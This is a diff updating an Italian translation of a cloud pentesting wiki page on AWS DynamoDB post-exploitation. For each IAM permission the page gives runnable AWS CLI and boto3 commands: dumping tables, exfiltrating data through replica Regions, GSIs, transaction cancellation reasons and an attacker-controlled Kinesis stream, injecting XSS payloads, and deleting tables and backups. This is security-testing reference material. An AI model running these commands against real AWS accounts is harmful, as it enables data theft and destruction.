diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 39c363978..afaff7c3b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -Per ulteriori informazioni controlla: +Per ulteriori informazioni consulta: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### `dynamodb:BatchGetItem` -Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`). +An attacker with this permissions will be able to **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Ciò significa che devi conoscere le chiavi primarie (puoi conoscerle recuperando i metadati della tabella (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella ### `dynamodb:GetItem` -**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da una sola tabella dato la chiave primaria dell'elemento da recuperare: +**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Con questo permesso è anche possibile utilizzare il metodo **`transact-get-items`** come: +Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** Privesc indiretto ottenibile individuando informazioni sensibili nella tabella ### `dynamodb:Query` -**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta. +**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori da una sola tabella data la chiave primaria della voce da recuperare. Permette di usare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve essere presente) è "EQ", quindi non puoi usare un confronto per recuperare l'intero DB in una singola richiesta. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Privilegi indiretti di accesso localizzando informazioni sensibili nella tabella +**Impatto potenziale:** privesc indiretto ottenendo informazioni sensibili nella tabella ### `dynamodb:Scan` -Puoi utilizzare questo permesso per **estrarre facilmente l'intera tabella**. +Puoi usare questo permesso per **effettuare il dump dell'intera tabella facilmente**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella ### `dynamodb:PartiQLSelect` -Puoi utilizzare questo permesso per **estrarre facilmente l'intera tabella**. +Puoi usare questo permesso per **eseguire il dump dell'intera tabella facilmente**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Questa autorizzazione consente anche di eseguire `batch-execute-statement` come: +Questo permesso consente anche di eseguire `batch-execute-statement` come: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ma è necessario specificare la chiave primaria con un valore, quindi non è così utile. +ma devi specificare la chiave primaria con un valore, quindi non è molto utile. -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** Privesc indiretto individuando informazioni sensibili nella tabella ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Questa autorizzazione consentirà a un attaccante di **esportare l'intera tabella in un bucket S3** di sua scelta: +Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un S3 bucket** a sua scelta: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,36 +144,37 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Nota che per farlo funzionare la tabella deve avere il point-in-time-recovery abilitato, puoi controllare se la tabella ce l'ha con: +Nota che per far funzionare ciò la tabella deve avere point-in-time-recovery abilitato, puoi verificare se la tabella lo ha con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Se non è abilitato, dovrai **abilitarlo** e per questo hai bisogno del permesso **`dynamodb:ExportTableToPointInTime`**: +Se non è abilitato, dovrai **abilitarlo** e per farlo ti serve il permesso **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella +**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Con questi permessi, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con i permessi necessari, sarebbe in grado di controllare **informazioni** dai backup che **potrebbero non essere più nella tabella di produzione**. + +Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non potrebbero più trovarsi nella tabella di produzione**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel backup della tabella +**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nel backup della tabella ### `dynamodb:PutItem` -Questo permesso consente agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, **l'intero elemento sarà sostituito** con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà **creato**. +Questa permission permette agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento sarà sostituito** dal nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata sarà **creato**. {{#tabs }} -{{#tab name="Esempio XSS" }} +{{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json @@ -202,14 +203,14 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB +**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:UpdateItem` -Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi specificati nell'espressione di aggiornamento. +Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento**. Non **sostituisce** l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo elemento** con la chiave primaria specificata e imposterà gli attributi indicati nell'espressione di aggiornamento. {{#tabs }} -{{#tab name="Esempio XSS" }} +{{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ @@ -242,62 +243,296 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Sfruttamento di ulteriori vulnerabilità/evasioni grazie alla possibilità di aggiungere/modificare dati in una tabella DynamoDB +**Potential Impact:** Sfruttamento di ulteriori vulnerabilità/bypasses permettendo di aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:DeleteTable` -Un attaccante con questo permesso può **eliminare una tabella DynamoDB, causando perdita di dati**. +Un attaccante con questa autorizzazione può **eliminare una tabella DynamoDB, causando perdita di dati** ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Impatto potenziale**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata. +**Impatto potenziale**: perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata. ### `dynamodb:DeleteBackup` -Un attaccante con questo permesso può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di uno scenario di recupero da disastro**. +Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di uno scenario di disaster recovery**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Impatto potenziale**: Perdita di dati e impossibilità di recuperare da un backup durante uno scenario di disaster recovery. +**Potential impact**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Testare se questo funziona effettivamente +> TODO: Verificare se questo funziona effettivamente -Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo consente all'attaccante di monitorare ed esfiltrare le modifiche ai dati, portando potenzialmente a una perdita di dati. +Un attacker con queste autorizzazioni può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a streammare i cambiamenti, e poi accedere allo stream per monitorare i cambiamenti alla tabella in tempo reale**. Questo permette all'attaccante di monitorare e exfiltrate data changes, potenzialmente portando a data leakage. 1. Abilitare uno stream su una tabella DynamoDB: ```bash -bashCopy codeaws dynamodb update-table \ +aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Descrivere il flusso per ottenere l'ARN e altri dettagli: +2. Descrivi lo stream per ottenere l'ARN e altri dettagli: ```bash -bashCopy codeaws dynamodb describe-stream \ +aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Ottieni l'iteratore di shard utilizzando l'ARN dello stream: +3. Ottieni lo shard iterator usando lo stream ARN: ```bash -bashCopy codeaws dynamodbstreams get-shard-iterator \ +aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` -4. Utilizza l'iteratore di shard per accedere ed esfiltrare dati dal flusso: +4. Usa lo shard iterator per accedere ed esfiltrare dati dallo stream: ```bash -bashCopy codeaws dynamodbstreams get-records \ +aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Impatto potenziale**: Monitoraggio in tempo reale e perdita di dati delle modifiche alla tabella DynamoDB. +**Potenziale impatto**: Monitoraggio in tempo reale e data leak delle modifiche della tabella DynamoDB. + +### Leggere item tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD` + +Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli item senza alcuna delle normali autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'aggiornamento dell'item nel campo `Attributes` della risposta (questo non consuma RCUs). + +- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target. +- Prerequisiti: Devi conoscere la chiave primaria dell'item. + +Esempio (aggiunge un attributo innocuo e exfiltrates the previous item in the response): +```bash +aws dynamodb update-item \ +--table-name \ +--key '{"":{"S":""}}' \ +--update-expression 'SET #m = :v' \ +--expression-attribute-names '{"#m":"exfil_marker"}' \ +--expression-attribute-values '{":v":{"S":"1"}}' \ +--return-values ALL_OLD \ +--region +``` +La risposta della CLI includerà un blocco `Attributes` contenente l'intero item precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura partendo da un accesso in sola scrittura. + +**Impatto potenziale:** Leggere item arbitrari da una tabella avendo solo permessi di scrittura, permettendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono conosciute. + + +### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` + +Esfiltrazione stealth aggiungendo una nuova Region replica a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attaccante, dalla quale l'attaccante può leggere tutti gli item. + +{{#tabs }} +{{#tab name="PoC (default DynamoDB-managed KMS)" }} +```bash +# Add a new replica Region (from primary Region) +aws dynamodb update-table \ +--table-name \ +--replica-updates '[{"Create": {"RegionName": ""}}]' \ +--region + +# Wait until the replica table becomes ACTIVE in the replica Region +aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' + +# Exfiltrate by reading from the replica Region +aws dynamodb scan --table-name --region +``` +{{#endtab }} +{{#tab name="PoC (customer-managed KMS)" }} +```bash +# Specify the CMK to use in the replica Region +aws dynamodb update-table \ +--table-name \ +--replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ +--region +``` +{{#endtab }} +{{#endtabs }} + +Permessi: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` sulla tabella target. Se una CMK viene usata nella replica, potrebbero essere necessari permessi KMS per quella chiave. + +Impatto potenziale: Replica dell'intera tabella in una Region controllata dall'attaccante, con conseguente esfiltrazione furtiva dei dati. + +### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) + +Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che fa intenzionalmente fallire una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate. + +{{#tabs }} +{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} +```bash +# Create the transaction input (list form for --transact-items) +cat > /tmp/tx_items.json << 'JSON' +[ +{ +"Update": { +"TableName": "", +"Key": {"": {"S": ""}}, +"UpdateExpression": "SET #m = :v", +"ExpressionAttributeNames": {"#m": "marker"}, +"ExpressionAttributeValues": {":v": {"S": "x"}}, +"ConditionExpression": "attribute_not_exists()", +"ReturnValuesOnConditionCheckFailure": "ALL_OLD" +} +} +] +JSON + +# Execute. Newer AWS CLI versions support returning cancellation reasons +aws dynamodb transact-write-items \ +--transact-items file:///tmp/tx_items.json \ +--region \ +--return-cancellation-reasons +# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item +``` +{{#endtab }} +{{#tab name="PoC (boto3)" }} +```python +import boto3 +c=boto3.client('dynamodb',region_name='') +try: +c.transact_write_items(TransactItems=[{ 'Update': { +'TableName':'', +'Key':{'':{'S':''}}, +'UpdateExpression':'SET #m = :v', +'ExpressionAttributeNames':{'#m':'marker'}, +'ExpressionAttributeValues':{':v':{'S':'x'}}, +'ConditionExpression':'attribute_not_exists()', +'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) +except c.exceptions.TransactionCanceledException as e: +print(e.response['CancellationReasons'][0]['Item']) +``` +{{#endtab }} +{{#endtabs }} + +Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura. + +Impatto potenziale: Leggere elementi arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti. + + +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI + +Bypassare le restrizioni di lettura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante tra gli item, quindi `Query` l'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'ARN dell'indice. + +- Permessi minimi: +- `dynamodb:UpdateTable` sulla tabella target (per creare il GSI con `ProjectionType=ALL`). +- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item). +- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:::table//index/`). + +Passaggi (PoC in us-east-1): +```bash +# 1) Create table and seed items (without the future GSI attribute) +aws dynamodb create-table --table-name HTXIdx \ +--attribute-definitions AttributeName=id,AttributeType=S \ +--key-schema AttributeName=id,KeyType=HASH \ +--billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 +for i in 1 2 3 4 5; do \ +aws dynamodb put-item --table-name HTXIdx \ +--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ +--region us-east-1; done + +# 2) Add GSI on attribute X with ProjectionType=ALL +aws dynamodb update-table --table-name HTXIdx \ +--attribute-definitions AttributeName=X,AttributeType=S \ +--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ +--region us-east-1 +# Wait for index to become ACTIVE +aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ +--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' + +# 3) Set X="dump" for each item (only UpdateItem on known keys) +for i in 1 2 3 4 5; do \ +aws dynamodb update-item --table-name HTXIdx \ +--key "{\"id\":{\"S\":\"$i\"}}" \ +--update-expression 'SET #x = :v' \ +--expression-attribute-names '{"#x":"X"}' \ +--expression-attribute-values '{":v":{"S":"dump"}}' \ +--region us-east-1; done + +# 4) Query the index by the constant value to retrieve full items +aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ +--key-condition-expression '#x = :v' \ +--expression-attribute-names '{"#x":"X"}' \ +--expression-attribute-values '{":v":{"S":"dump"}}' \ +--region us-east-1 +``` +**Impatto potenziale:** Esfiltrazione completa della tabella interrogando un GSI appena creato che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate. + + +### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams) + +Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in quasi tempo reale allo stream senza richiedere permessi di lettura sulla tabella. + +Permessi minimi (attacker): +- `dynamodb:EnableKinesisStreamingDestination` on the target table +- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato +- Permessi di lettura sul Kinesis stream appartenente all'attacker per consumare i record: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` + +
+PoC (us-east-1) +```bash +# 1) Prepare: create a table and seed one item +aws dynamodb create-table --table-name HTXKStream \ +--attribute-definitions AttributeName=id,AttributeType=S \ +--key-schema AttributeName=id,KeyType=HASH \ +--billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 +aws dynamodb put-item --table-name HTXKStream \ +--item file:///tmp/htx_item1.json --region us-east-1 +# /tmp/htx_item1.json +# {"id":{"S":"a1"},"secret":{"S":"s-1"}} + +# 2) Create attacker Kinesis Data Stream +aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 +aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 + +# 3) Enable the DynamoDB -> Kinesis streaming destination +STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ +--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) +aws dynamodb enable-kinesis-streaming-destination \ +--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 +# Optionally wait until ACTIVE +aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ +--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus + +# 4) Generate changes on the table +aws dynamodb put-item --table-name HTXKStream \ +--item file:///tmp/htx_item2.json --region us-east-1 +# /tmp/htx_item2.json +# {"id":{"S":"a2"},"secret":{"S":"s-2"}} +aws dynamodb update-item --table-name HTXKStream \ +--key file:///tmp/htx_key_a1.json \ +--update-expression "SET #i = :v" \ +--expression-attribute-names {#i:info} \ +--expression-attribute-values {:v:{S:updated}} \ +--region us-east-1 +# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} + +# 5) Consume from Kinesis to observe DynamoDB images +SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ +--query Shards[0].ShardId --output text) +IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ +--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) +aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json +# Decode one record (Data is base64-encoded) +jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . + +# 6) Cleanup (recommended) +aws dynamodb disable-kinesis-streaming-destination \ +--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true +aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true +aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true +``` +
+ +**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura dirette sulla tabella. + + {{#include ../../../banners/hacktricks-training.md}}